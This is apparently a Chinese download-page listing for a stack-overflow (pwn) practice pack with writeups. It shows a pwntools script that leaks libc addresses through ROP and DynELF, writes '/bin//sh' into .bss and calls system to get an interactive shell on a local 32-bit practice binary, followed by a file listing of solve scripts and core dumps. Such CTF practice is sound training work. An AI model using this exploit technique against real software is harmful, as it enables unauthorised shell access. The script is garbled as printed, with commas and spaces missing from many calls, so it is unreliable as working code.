資源簡介
pwn棧溢出練習(xí)題目,每題都有writeup.

代碼片段和文件信息
#?coding:utf-8
#?32位?stackoverflow?寫/bin/sh到.bss段,使用DynELF獲取system地址
from?pwn?import?*
#context.log_level=‘debug‘
io?=?process(‘./bof_32‘)
e?=?ELF(‘./bof_32‘)
libc?=?ELF(‘/lib32/libc.so.6‘)
#gdb.attach(io?‘b?main‘)
_bss?=?0x080497E5
def?leak(addr):
#addr?=?e.got[‘write‘]
r?=?ROP(e)
r.write(1addr8)
r.main()
io.sendline(‘A‘*8?+?r.chain())
io.recv(4)
buf?=?io.recv(8)
log.info(‘%#x?->?%s‘%(addr?buf))
return?buf
d?=?DynELF(leak?elf=e)
system_addr?=?d.lookup(‘system‘?‘libc‘)
log.info(‘system:?%#x‘?%?system_addr)
r?=?ROP(e)
r.read(0_bss8)
r.call(system_addr[_bss])
io.sendline(‘A‘*8?+?r.chain())
io.recv(4)
io.send(‘/bin//sh‘)
io.interactive()
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2019-01-02?05:15??pwn\
?????文件???????????2??2018-12-26?06:40??pwn\.gdb_history
?????目錄???????????0??2018-12-28?07:16??pwn\bof32\
?????文件????????5332??2018-12-26?00:01??pwn\bof32\bof_32
?????文件?????????730??2018-12-26?06:42??pwn\bof32\bof_32.py
?????目錄???????????0??2019-01-01?07:47??pwn\homework\
?????文件?????????236??2019-01-01?07:47??pwn\homework\.gdb_history
?????文件???????10456??2019-01-01?07:12??pwn\homework\homework
?????文件??????????12??2019-01-01?07:38??pwn\homework\peda-session-homework.txt
?????文件??????????27??2019-01-01?07:39??pwn\homework\peda-session-ls.txt
?????文件?????????284??2019-01-01?07:45??pwn\homework\solve.py
?????目錄???????????0??2018-12-28?07:53??pwn\pwn1\
?????文件?????????214??2018-12-28?07:53??pwn\pwn1\.gdb_history
?????文件?????2420736??2018-12-28?07:47??pwn\pwn1\core
?????文件??????????18??2018-12-28?07:52??pwn\pwn1\peda-session-pwn1.txt
?????文件????????9915??2018-12-28?07:16??pwn\pwn1\pwn1
?????文件?????????189??2018-12-28?07:49??pwn\pwn1\solve.py
?????目錄???????????0??2018-12-28?08:23??pwn\pwn2\
?????文件??????983040??2018-12-28?08:18??pwn\pwn2\core
?????文件??????735740??2018-12-28?07:54??pwn\pwn2\pwn2
?????文件?????????301??2018-12-28?08:23??pwn\pwn2\solve.py
?????目錄???????????0??2018-12-28?19:38??pwn\pwn3\
?????文件??????????45??2018-12-28?19:38??pwn\pwn3\.gdb_history
?????文件?????2420736??2018-12-28?19:35??pwn\pwn3\core
?????文件??????????18??2018-12-28?19:37??pwn\pwn3\peda-session-pwn3.txt
?????文件????????9989??2018-12-28?19:18??pwn\pwn3\pwn3
?????文件?????????195??2018-12-28?19:36??pwn\pwn3\solve.py
?????目錄???????????0??2018-12-28?23:03??pwn\pwn4\
?????文件?????????139??2018-12-28?23:00??pwn\pwn4\.gdb_history
?????文件?????2420736??2018-12-28?22:21??pwn\pwn4\core
?????文件??????????18??2018-12-28?22:41??pwn\pwn4\peda-session-pwn4.txt
............此處省略30個文件信息
評論
共有 條評論